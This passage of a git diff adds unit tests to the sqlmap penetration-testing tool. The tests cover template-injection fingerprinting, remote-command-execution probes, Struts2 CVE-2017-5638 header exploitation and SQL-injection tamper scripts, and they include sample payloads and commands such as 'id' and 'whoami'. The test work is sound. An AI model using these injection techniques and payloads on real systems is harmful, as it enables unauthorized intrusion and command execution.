for e in ssti._ENGINE_TABLE if "Spring" in e.name][0] + self.assertTrue(ssti._booleanUniquelyIdentifies(spring)) + + def test_jinja2_with_arithmetic_and_boolean_is_exact(self): + """Arithmetic + boolean (unique) should produce exact engine name, + not a family/probable guess.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" + if "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Boolean is unique -> should NOT be marked "(probable" + self.assertNotIn("(probable", engine.name) + self.assertIn("Jinja2", engine.name) + + +class TestTakeoverGate(unittest.TestCase): + def test_can_takeover_exact_engine_with_proof(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + evidence = {"arithmetic": True, "boolean": True} + self.assertTrue(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_probable_engine(self): + engine = ssti._ENGINE_TABLE[0]._replace(name="Jinja2/Twig/Handlebars-like (probable Jinja2)") + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_proof(self): + engine = ssti._ENGINE_TABLE[0] + evidence = {} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_payloads(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + +class TestRequestMutation(unittest.TestCase): + """Verify _replaceSegment() correctly mutates parameter strings.""" + + def setUp(self): + self.original_send = ssti._send + self._orig_params = dict(ssti.conf.parameters) if hasattr(ssti.conf, 'parameters') else {} + self._orig_paramDict = dict(ssti.conf.paramDict) if hasattr(ssti.conf, 'paramDict') else {} + self._orig_cookieDel = getattr(ssti.conf, 'cookieDel', None) + + def tearDown(self): + ssti._send = self.original_send + if hasattr(ssti.conf, 'parameters'): + ssti.conf.parameters.clear() + ssti.conf.parameters.update(self._orig_params) + if hasattr(ssti.conf, 'paramDict'): + ssti.conf.paramDict.clear() + ssti.conf.paramDict.update(self._orig_paramDict) + if self._orig_cookieDel is not None: + ssti.conf.cookieDel = self._orig_cookieDel + + def test_replace_segment_single_param(self): + ssti.conf.parameters = {"GET": "q=x"} + result = ssti._replaceSegment("GET", "q", "test") + self.assertEqual(result, "q=test") + + def test_replace_segment_multi_param(self): + ssti.conf.parameters = {"GET": "q=x&a=1&b=2"} + result = ssti._replaceSegment("GET", "a", "99") + self.assertEqual(result, "q=x&a=99&b=2") + + def test_replace_segment_post(self): + ssti.conf.parameters = {"POST": "user=admin&pass=secret"} + result = ssti._replaceSegment("POST", "pass", "newpass") + self.assertEqual(result, "user=admin&pass=newpass") + + def test_replace_segment_cookie_delim(self): + from lib.core.enums import PLACE + ssti.conf.parameters = {PLACE.COOKIE: "a=1;b=2"} + ssti.conf.cookieDel = ";" + result = ssti._replaceSegment(PLACE.COOKIE, "b", "xx") + self.assertEqual(result, "a=1;b=xx") + + def test_replace_segment_missing_param(self): + ssti.conf.parameters = {"GET": "a=1"} + ssti.conf.paramDict = {"GET": {"a": "1", "b": "2"}} + result = ssti._replaceSegment("GET", "b", "xx") + self.assertEqual(result, "a=1&b=xx") + + +class TestRceProof(unittest.TestCase): + """Proof-of-execution via a DERIVED challenge: reflection (raw OR transformed) must NOT be accepted.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_derived_executed_needs_product_absent_from_request(self): + # the product proves execution: present in the page, absent from baseline + self.assertTrue(ssti._derivedExecuted("page 6772561 footer", "baseline", "6772561")) + self.assertIsNone(ssti._derivedExecuted("page without it", "baseline", "6772561")) + # product already in baseline -> not attributable + self.assertIsNone(ssti._derivedExecuted("x 6772561 x", "seen 6772561 here", "6772561")) + + def test_probe_rce_rejects_raw_reflection(self): + # an app that echoes the whole request body verbatim: the product ($((A*B)) result) is NEVER in + # the request, so it cannot appear in a reflected response -> not RCE-capable + engine = ssti._ENGINE_TABLE[0] # Jinja2 (no _FILE_RCE spec -> file path is a no-op) + ssti._send = lambda place, parameter, value: "Hello, %s!" % value # pure reflection + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_rejects_url_encoded_reflection(self): + # KEY P0-4 case: the app reflects the URL-ENCODED payload. A marker-in-payload check would pass; + # the derived product is still absent from any reflected form -> correctly NOT RCE-capable + from thirdparty.six.moves.urllib.parse import quote + engine = ssti._ENGINE_TABLE[0] + ssti._send = lambda place, parameter, value: "reflected: %s" % quote(value, safe="") + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_all_collisions_do_not_confirm(self): + # every generated product collides with the baseline -> every challenge is skipped; the loop + # must NOT fall through to success with zero executed payloads (counts confirmations, not iters) + engine = ssti._ENGINE_TABLE[0] + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._send = lambda place, parameter, value: "result is 4 everywhere" # baseline contains "4" + self.assertFalse(ssti._probeRce("GET", "q", engine)) + finally: + _m.randomInt = orig + + def test_probe_rce_confirms_real_execution(self): + # a backend that actually evaluates `echo $((A*B))` returns the PRODUCT as command output + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"echo \$\(\((\d+)\*(\d+)\)\)", value) + if m: + return "%d" % (int(m.group(1)) * int(m.group(2))) # shell-evaluated product + return "baseline" + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_framed_output_markers_are_reflection_proof(self): + # markers are shell-concatenated fragments: the completed 'startABstartCD' never appears in the + # request, so only genuine execution places them in the page + start, end = "aaaaaabbbbbb", "ccccccdddddd" + executed = "junk %suid=0(root) gid=0(root)%s junk" % (start, end) + self.assertEqual(ssti._framedOutput(executed, start, end), "uid=0(root) gid=0(root)") + # a response that lacks the concatenated markers (e.g. reflected 'aaaaaa bbbbbb' separated) -> None + self.assertIsNone(ssti._framedOutput("printf %s%s aaaaaa bbbbbb ...", start, end)) + + def test_probe_rce_confirms_on_windows_backend(self): + # a Windows-hosted engine evaluates `cmd /c set /a A*B` (Unix `$((...))` does nothing) - the + # derived product still proves execution, so capability detection works on Windows too + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"set /a (\d+)\*(\d+)", value) # cmd.exe set /a arithmetic + if m and "$((" not in value: + return "%d" % (int(m.group(1)) * int(m.group(2))) + return "baseline" # the Unix $(( )) family produces nothing here + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_windows_framed_builder_shape(self): + # the Windows framed command concatenates the marker fragments at runtime via `echo|set /p=` + cmd = ssti._winFramed("whoami", "SA", "SB", "EA", "EB") + self.assertIn("cmd /c", cmd) + self.assertIn("set /p=SA", cmd) + self.assertIn("set /p=SB", cmd) + self.assertIn("whoami", cmd) + # the concatenated markers 'SASB'/'EAEB' are NOT present literally (only the separate fragments) + self.assertNotIn("SASB", cmd) + self.assertNotIn("EAEB", cmd) + + +class TestExecuteCommand(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + self.original_dumper = getattr(ssti.conf, 'dumper', None) + # Provide a mock dumper so _executeCommand doesn't crash on conf.dumper + from lib.core.datatype import AttribDict + ssti.conf.dumper = AttribDict() + ssti.conf.dumper.singleString = lambda msg: None + + def tearDown(self): + ssti._send = self.original_send + ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper) + + def test_error_page_skipped(self): + """RCE payload that triggers a template error is skipped; next payload tried.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + calls = [] + + def mock(place, parameter, value): + calls.append(value) + if "cycler" in value: + return "jinja2.exceptions.UndefinedError: 'cycler' is undefined" + if "config" in value: + return "Hello output-from-config" + return "Hello " + value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # Should skip cycler (error) and use config (valid output) + self.assertTrue(any("config" in c for c in calls), + "Should have tried the second payload after error skip") + + def test_all_error_pages_produce_warning(self): + """When all RCE payloads produce template errors, no success is reported. _executeCommand sends + a baseline, then TWO passes over the payloads: a reflection-proof boundary-marker capture pass + a framed pass PER OS family (unix + windows), and an unframed baseline-diff fallback pass (the + file-based pass sends nothing without a _FILE_RCE spec, as for Jinja2).""" + engine = ssti._ENGINE_TABLE[0] + self.assertNotIn(engine.name, ssti._FILE_RCE) # guard the arithmetic below + calls = [] + + def mock(place, parameter, value): + calls.append(value) + return "jinja2.exceptions.TemplateSyntaxError: unexpected token" + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # 1 baseline + (families framed + 1 unframed) passes, each over N payloads + passes = len(ssti._SHELL_FAMILIES) + 1 + self.assertEqual(len(calls), 1 + passes * len(engine.rcePayloads), + "Should have tried the framed pass per OS family then the unframed pass before giving up") + + +class TestCommandEscaping(unittest.TestCase): + def test_escape_single_quoted(self): + self.assertEqual(ssti._escapeSingleQuoted("hello"), "hello") + self.assertEqual(ssti._escapeSingleQuoted("it's"), "it\\'s") + self.assertEqual(ssti._escapeSingleQuoted("a\\b"), "a\\\\b") + + +class TestEngineMatrix(unittest.TestCase): + """For EVERY engine in the table, stand up a faithful mock server running that + engine and assert _fingerprint() identifies it. This proves each engine's full + detection path (arithmetic/boolean/error/distinguishing) actually works end to + end - not just Jinja2 - and guards against regressions like the ERB '%>' format + bug where a delimiter containing '%' silently disabled arithmetic detection.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + # Digit-free, boolean-word-free sample errors that match each engine's errorRegex. + # (digit/boolean-free so a sibling engine's boolean probe falling through to the error + # branch on this server is still correctly rejected.) + _ERRORS = { + "Jinja2": "jinja2.exceptions.TemplateSyntaxError: unexpected end of template", + "Mako": "mako.exceptions.SyntaxException: unclosed control structure", + "Twig": "Twig_Error_Syntax: unexpected token in template", + "Freemarker": "freemarker.core.ParseException: encountered unexpected directive", + "Velocity": "org.apache.velocity.runtime.parser.ParseErrorException: encountered eof", + "Spring EL / Thymeleaf": "org.springframework.expression.spel.SpelParseException: bad node", + "ERB": "(erb): syntax error, unexpected end-of-input", + "Pug/Jade": "pug: unexpected token in template", + "Handlebars": "Handlebars: Parse error on line one", + } + + # Real divide-by-zero error text per language family (captured from live Mako/ERB/Jinja2 + # backends), so the S2 family probe can be exercised. JS yields Infinity (no error). + _DIVZERO = { + "python": "ZeroDivisionError: division by zero", + "ruby": "ZeroDivisionError: divided by 0", + "php": "DivisionByZeroError: Division by zero", + "java": "java.lang.ArithmeticException: / by zero", + "nodejs": "Hello Infinity", + } + + @staticmethod + def _make_server(engine, errors): + import re + op = re.escape(engine.delimiter) + cl = re.escape(engine.delimiterClose) + arithRe = re.compile(op + r"\s*(\d+)\s*\*\s*(\d+)\s*" + cl) if engine.arithmeticFmt else None + divZero = TestEngineMatrix._DIVZERO + err = errors.get(engine.name) + + def server(place, parameter, value): + # 1) engine-specific distinguishing probe + if engine.distinguishingProbe and engine.distinguishingProbe in value: + if engine.distinguishingResult: + return "Hello " + engine.distinguishingResult + return "Hello" # comment-style probe -> stays at baseline + # 2) this engine's own boolean rendering + if engine.booleanTrue and engine.booleanTrue in value: + return "Hello " + engine.trueRendered + if engine.booleanFalse and engine.booleanFalse in value: + return "Hello " + engine.falseRendered + # 3) divide-by-zero -> language-family-specific error (S2), for engines that evaluate it + if arithRe is not None and (engine.delimiter + "1/0" + engine.delimiterClose) in value: + return divZero.get(engine.family, "Hello") + # 4) arithmetic, but ONLY for engines that actually evaluate it + if arithRe is not None: + m = arithRe.search(value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # 5) malformed fragment in this engine's delimiter -> engine-specific error + if err and any(p in value for p in engine.errorProbes): + return err + # 6) anything else (incl. other engines' payloads) renders inertly + return "Hello" + + return server + + def test_every_engine_is_fingerprinted(self): + for engine in ssti._ENGINE_TABLE: + ssti._send = self._make_server(engine, self._ERRORS) + result, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(result, "engine '%s' was not detected at all" % engine.name) + self.assertIn(engine.name, result.name, + "server running '%s' was identified as '%s'" % (engine.name, result.name)) + + def test_family_probe_confirms_language(self): + # S2: the divide-by-zero probe must confirm the backend family for every + # expression-evaluating, non-JS engine (Python/Ruby/PHP/Java). + for engine in ssti._ENGINE_TABLE: + if not (engine.arithmeticFmt and engine.delimiterClose): + continue + if engine.family not in ("python", "ruby", "php", "java"): + continue + ssti._send = self._make_server(engine, self._ERRORS) + _result, evidence = ssti._fingerprint("GET", "q") + self.assertTrue(evidence.get("family"), + "family probe should confirm '%s' on a %s backend" % (engine.name, engine.family)) + + def test_filter_evasion_rce_fallbacks_present(self): + # S3: each engine must retain its filter-evasion / sandbox-escape RCE fallbacks. + def rce(name): + return " ".join(p for p, _d in next(e for e in ssti._ENGINE_TABLE if e.name == name).rcePayloads) + jinja = rce("Jinja2") + self.assertIn("attr(", jinja) # dot/underscore-free attr() chain + self.assertIn("\\x5f", jinja) # hex-escaped dunders + twig = rce("Twig") + self.assertIn("sort('system')", twig) + self.assertIn("map('system')", twig) + spring = rce("Spring EL / Thymeleaf") + self.assertIn("readLine", spring) # output-capturing SpEL + self.assertIn("@java.lang.Runtime@getRuntime", spring) # OGNL fallback + + def test_family_probe_does_not_crossmatch(self): + # Python 'division by zero' must NOT satisfy the (case-sensitive) PHP signature, so a + # Jinja2/Python server never lets Twig/PHP claim a family match. + jinja = next(e for e in ssti._ENGINE_TABLE if e.name == "Jinja2") + ssti._send = self._make_server(jinja, self._ERRORS) + cache = {} + twig = next(e for e in ssti._ENGINE_TABLE if e.name == "Twig") + self.assertEqual(ssti._probeFamily("GET", "q", jinja, cache), "python") + self.assertNotEqual(ssti._probeFamily("GET", "q", twig, cache), twig.family) + + def test_erb_arithmetic_works_after_format_fix(self): + # Direct regression guard for the '<%= %d*%d %>' / '<%= %s %>' format bug. + erb = next(e for e in ssti._ENGINE_TABLE if e.name == "ERB") + ssti._send = self._make_server(erb, self._ERRORS) + self.assertTrue(ssti._probeArithmetic("GET", "q", erb), + "ERB arithmetic proof must succeed once %-format no longer crashes on '%>'") + result, evidence = ssti._fingerprint("GET", "q") + self.assertEqual(result.name, "ERB") + self.assertTrue(evidence.get("arithmetic")) + + def test_mako_distinguished_from_freemarker_spring(self): + # Mako shares '${ }' with Freemarker/Spring but renders capital True/False; + # it must be named exactly (via unique boolean rendering), not "probable". + mako = next(e for e in ssti._ENGINE_TABLE if e.name == "Mako") + ssti._send = self._make_server(mako, self._ERRORS) + result, evidence = ssti._fingerprint("GET", "q") + self.assertEqual(result.name, "Mako") + self.assertTrue(evidence.get("boolean")) + + +class TestFileBasedRce(unittest.TestCase): + """Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs + reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile + then read-file must still recover the command output.""" + + def setUp(self): + from lib.core.data import conf + self._send = ssti._send + self._dumper = conf.dumper + captured = self.captured = [] + + class _Dumper(object): + def singleString(self, text, **kwargs): + captured.append(text) + + conf.dumper = _Dumper() + + def tearDown(self): + from lib.core.data import conf + ssti._send = self._send + conf.dumper = self._dumper + + def test_spel_output_via_file_when_inband_blocked(self): + engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf") + self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback + + def mock(place, parameter, value): + if "ProcessBuilder" in value: # exec step: launches (render error, ignored) + return "org.springframework.expression.spel.SpelEvaluationException: EL1001E" + if "readAllBytes" in value: # read step: the temp file's content + return "Hello uid=0(root) gid=0(root)" + if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK + return "org.springframework.expression.spel.SpelEvaluationException: EL1029E" + return "Hello " # baseline / original value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "id") + self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), + msg="two-step file-based RCE did not surface command output: %r" % self.captured) + + +class TestStruts2Header(unittest.TestCase): + """CVE-2017-5638 (S2-045): OGNL via the Content-Type header. The vector is not reflected, so + detection prints a marker to the response and RCE brackets stdout with markers to slice it out.""" + + def setUp(self): + self._s2045Send = ssti._s2045Send + + def tearDown(self): + ssti._s2045Send = self._s2045Send + + def test_struts2_wired_for_file_rce(self): + self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired + + def test_s2045_detection_derived_product(self): + import re + # a vulnerable Struts2 EVALUATES the OGNL arithmetic and writes the PRODUCT (absent from the header) + def mock(url, action): + m = re.search(r"#w\.print\((\d+)\*(\d+)\)", action) + return " %d " % (int(m.group(1)) * int(m.group(2))) if m else "" + ssti._s2045Send = mock + self.assertTrue(ssti._probeStruts2Header("http://target")) + + def test_s2045_detection_rejects_reflected_header(self): + # KEY P0-6 case: the server REFLECTS the Content-Type header verbatim. The literal operands are + # echoed but never their product, so no reflection can satisfy the derived challenge -> not vuln + ssti._s2045Send = lambda url, action: "You sent Content-Type: %s" % action + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_not_vulnerable(self): + ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_all_collisions_do_not_confirm(self): + # every product collides with the baseline -> no challenge is ever evaluated -> not confirmed + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._s2045Send = lambda url, action: "page containing 4" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + finally: + _m.randomInt = orig + + def test_s2045_command_output_sliced_from_derived_markers(self): + import re + # the shell CONCATENATES the marker fragments (printf %s%s A B -> AB); the concatenation never + # appears in the header, so it can only come from execution + def mock(url, action): + m = re.search(r"printf %s%s (\w+) (\w+); .* 2>&1; printf %s%s (\w+) (\w+)", action) + if not m: + return "" + start, end = m.group(1) + m.group(2), m.group(3) + m.group(4) + return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) + ssti._s2045Send = mock + self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)") + + def test_s2045_command_rejects_reflected_header(self): + # raw header reflection: the fragments appear separated ('printf %s%s A B'), never concatenated, + # so no start/end marker is found -> no fabricated 'output' + ssti._s2045Send = lambda url, action: "reflected: %s" % action + self.assertIsNone(ssti._executeStruts2Header("http://target", "id")) diff --git a/tests/test_strings.py b/tests/test_strings.py new file mode 100644 index 00000000000..e3683ea0163 --- /dev/null +++ b/tests/test_strings.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +String / path / escape helpers. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (normalizePath, posixToNtSlashes, ntToPosixSlashes, + isHexEncodedString, decodeStringEscape, encodeStringEscape, + listToStrValue, filterControlChars, safeVariableNaming, + unsafeVariableNaming, longestCommonPrefix, decodeIntToUnicode) + +RND = random.Random(7) + + +class TestPaths(unittest.TestCase): + def test_normalizePath(self): + self.assertEqual(normalizePath("a//b/c"), "a/b/c") + + def test_slashes(self): + self.assertEqual(posixToNtSlashes("/a/b"), "\\a\\b") + self.assertEqual(ntToPosixSlashes("a\\b"), "a/b") + + def test_slash_roundtrip(self): + for _ in range(500): + s = "/".join(["seg%d" % RND.randint(0, 9) for _ in range(RND.randint(2, 6))]) + nt = posixToNtSlashes(s) + # non-identity anchor: the NT form must actually differ (no '/', has '\') - + # otherwise a no-op pair would pass this round-trip + self.assertNotIn("/", nt, msg="posixToNtSlashes left a '/': %r" % nt) + self.assertIn("\\", nt) + self.assertEqual(ntToPosixSlashes(nt), s) + + +class TestHexDetection(unittest.TestCase): + CASES = [("0x4142", True), ("4142", True), ("zz", False), ("0xZZ", False), ("", False)] + + def test_isHexEncodedString(self): + for v, exp in self.CASES: + self.assertEqual(bool(isHexEncodedString(v)), exp, msg="isHexEncodedString(%r)" % v) + + +class TestStringEscape(unittest.TestCase): + def test_known(self): + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + + def test_roundtrip_property(self): + ctrl = "\t\n\r\\abc 123" + for _ in range(2000): + s = "".join(RND.choice(ctrl) for _ in range(RND.randint(0, 20))) + self.assertEqual(decodeStringEscape(encodeStringEscape(s)), s) + + +class TestVariableNaming(unittest.TestCase): + def test_transform_is_not_identity(self): + # safeVariableNaming hex-encodes non-identifier-safe names behind an EVAL_ prefix; + # pin the exact form so the round-trip below can't be satisfied by no-op functions + self.assertEqual(safeVariableNaming("a.b"), "EVAL_612e62") # 612e62 == hex("a.b") + self.assertNotEqual(safeVariableNaming("weird name"), "weird name") + + def test_roundtrip(self): + for ident in ["a.b", "schema.table", "x", "weird name", "a-b.c"]: + encoded = safeVariableNaming(ident) + if any(c not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" for c in ident): + self.assertNotEqual(encoded, ident, msg="unsafe ident %r was not transformed" % ident) + self.assertEqual(unsafeVariableNaming(encoded), ident) + + +class TestMiscStrings(unittest.TestCase): + def test_listToStrValue(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_filterControlChars(self): + self.assertEqual(filterControlChars("a\x07b"), "a b") + + def test_longestCommonPrefix(self): + self.assertEqual(longestCommonPrefix("abcx", "abcy"), "abc") + self.assertEqual(longestCommonPrefix("abc", "xyz"), "") + + def test_decodeIntToUnicode(self): + from lib.core.common import Backend + from lib.core.data import kb + + # decodeIntToUnicode() is back-end DBMS dependent (e.g. PostgreSQL/Oracle/SQLite + # treat >255 values as Unicode code points). Pin a clean, no-forced-DBMS state so + # the result is deterministic regardless of test execution order (a prior dialect + # test may otherwise leave a forced DBMS set); restore it afterwards. + _saved = (kb.get("forcedDbms"), kb.get("stickyDBMS")) + Backend.flushForcedDbms(force=True) + try: + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: with no identified DBMS, >255 ints are interpreted as a multi-byte + # sequence (not a Unicode code point), e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + finally: + kb.forcedDbms, kb.stickyDBMS = _saved + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 00000000000..1d9eaa88562 --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tamper scripts (all ~70): contract, robustness on a payload battery, known +transforms, and documented fragile cases. + +NOTE (flagged for author - real minor bugs surfaced by this suite): + * tamper/percentage.py raises UnboundLocalError on empty/None payload + (retVal is only assigned inside `if payload:`; missing `retVal = payload` init). + * tamper/escapequotes.py raises AttributeError on None payload (no guard). + 68/70 tampers handle ""/None gracefully; these two are inconsistent. Pinned below + as KNOWN_FRAGILE so the suite stays green and a fix is a conscious change. +""" + +import os +import glob +import importlib +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + +from thirdparty import six + +TAMPERS = sorted(os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")) + +# realistic, non-empty payloads (incl. unicode via escape, and a long one) +PAYLOADS = [ + "1 AND 2=2", + "1 UNION SELECT NULL,NULL-- -", + "1 AND (SELECT 1 FROM dual)>0", + "1 AND '1'='1", + "admin'-- -", + u"1 AND name='caf\xe9'", + "1 AND " + "A" * 64, # modest "longer" payload +] + +KNOWN_FRAGILE = set() # percentage/escapequotes empty/None crashes were FIXED by the author; now covered below +# Intentionally expensive by design (generates 4.2M parameters per call to flood Lua-Nginx +# WAFs) -> ~6s/call. NOT a bug; excluded from execution to keep the unit suite fast. +HEAVY = {"luanginxmore"} + +# Project contract for falsy input: tamper("") == "" and tamper(None) is None +# (the common idiom `if payload: ...; return payload` passes "" and None through unchanged). +# These tampers legitimately deviate for None: they initialize `retVal = ""` and only reassign +# it inside `if payload:`, so any falsy payload (both "" AND None) returns "" -- i.e. None is +# normalized to "" instead of being passed through. tamper("") == "" still holds for them. +NONE_RETURNS_EMPTY = { + "sp_password", # retVal = ""; reassigned only inside `if payload:` + "space2dash", # retVal = ""; reassigned only inside `if payload:` + "space2hash", # retVal = ""; reassigned only inside `if payload:` + "space2morehash", # retVal = ""; reassigned only inside `if payload:` + "space2mssqlhash", # retVal = ""; reassigned only inside `if payload:` + "space2mysqldash", # retVal = ""; reassigned only inside `if payload:` +} + + +class TestTamperRobustness(unittest.TestCase): + def test_no_crash_returns_string(self): + for name in TAMPERS: + if name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in PAYLOADS: + try: + r = mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p[:25], ex)) + self.assertTrue(isinstance(r, six.string_types), + msg="tamper '%s' returned %s for %r" % (name, type(r).__name__, p[:25])) + + +class TestTamperEmptyNoneHandling(unittest.TestCase): + def test_graceful_on_empty_and_none(self): + # Assert the actual return contract on falsy input, not merely "does not raise": + # tamper("") == "" and tamper(None) is None + # (NONE_RETURNS_EMPTY tampers normalize None to "" -- see comment on that set.) + for name in TAMPERS: + if name in KNOWN_FRAGILE or name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + + try: + empty_result = mod.tamper("") + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, "", ex)) + self.assertEqual(empty_result, "", + msg="tamper '%s' returned %r for '' (expected '')" % (name, empty_result)) + + try: + none_result = mod.tamper(None) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, None, ex)) + if name in NONE_RETURNS_EMPTY: + self.assertEqual(none_result, "", + msg="tamper '%s' returned %r for None (expected '' per NONE_RETURNS_EMPTY)" % (name, none_result)) + else: + self.assertIsNone(none_result, + msg="tamper '%s' returned %r for None (expected None)" % (name, none_result)) + + def test_previously_fragile_now_fixed(self): + # regression pin: percentage/escapequotes used to crash on empty/None; now must be graceful + import tamper.percentage as _p + import tamper.escapequotes as _e + self.assertEqual(_p.tamper(""), "") + self.assertIsNone(_p.tamper(None)) + self.assertEqual(_e.tamper(""), "") + self.assertIsNone(_e.tamper(None)) + + +class TestKnownTransforms(unittest.TestCase): + # authoritative input->output taken from each tamper's own doctest + CASES = { + "space2comment": ("SELECT id FROM users", "SELECT/**/id/**/FROM/**/users"), + "between": ("1 AND A > B--", "1 AND A NOT BETWEEN 0 AND B--"), + "charencode": ("SELECT FIELD FROM%20TABLE", + "%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45"), + "apostrophemask": ("1 AND '1'='1", "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"), + "equaltolike": ("SELECT * FROM users WHERE id=1", "SELECT * FROM users WHERE id LIKE 1"), + "percentage": ("SELECT FIELD FROM TABLE", "%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E"), + # additional deterministic transforms (verified stable across repeated calls) + "space2plus": ("1 AND 2>1", "1+AND+2>1"), + "unionalltounion": ("1 UNION ALL SELECT 2", "1 UNION SELECT 2"), + "halfversionedmorekeywords": ("1 AND 2>1", "1/*!0AND 2>1"), + "versionedkeywords": ("1 AND 2>1", "1/*!AND*/2>1"), + "appendnullbyte": ("1", "1%00"), + "base64encode": ("1 AND 1=1", "MSBBTkQgMT0x"), + "greatest": ("1 AND A>B", "1 AND GREATEST(A,B+1)=A"), + "ifnull2ifisnull": ("IFNULL(a,b)", "IF(ISNULL(a),b,a)"), + "symboliclogical": ("1 AND 2 OR 3", "1 %26%26 2 %7C%7C 3"), + "bluecoat": ("1 AND 2=2", "1 AND%092 LIKE 2"), + "apostrophenullencode": ("'", "%00%27"), + } + + def test_transforms(self): + for name, (inp, expected) in self.CASES.items(): + mod = importlib.import_module("tamper.%s" % name) + self.assertEqual(mod.tamper(inp), expected, msg="tamper '%s'(%r)" % (name, inp)) + + +class TestTamperCount(unittest.TestCase): + def test_expected_count(self): + # there are currently 70 tamper scripts; floor at 70 so an accidental deletion (or a glob + # that silently stops matching) fails loudly rather than passing on a shrunken set + self.assertGreaterEqual(len(TAMPERS), 70, msg="expected >=70 tampers, found %d" % len(TAMPERS)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_target_parsing.py b/tests/test_target_parsing.py new file mode 100644 index 00000000000..c5a981f4a5a --- /dev/null +++ b/tests/test_target_parsing.py @@ -0,0 +1,527 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target-environment setup in lib/core/target.py. + +target.py wires a single scan's per-host state together: it derives the output / +dump / files directories from the hostname, opens (and optionally flushes) the +HashDB session file, resumes a previously-fingerprinted DBMS/OS and stored kb +values out of that session, decides the custom injection marker, normalizes the +POST body (url-decode / base64), splits GET/POST/Cookie/header strings into the +testable paramDict, and restores the per-target merged options between targets. + +None of that needs a live HTTP target or a real DBMS connection: every function +reads conf/kb globals (which are set up here per-test and restored in tearDown) +and at most touches the local filesystem (pointed at a private temp tree) or a 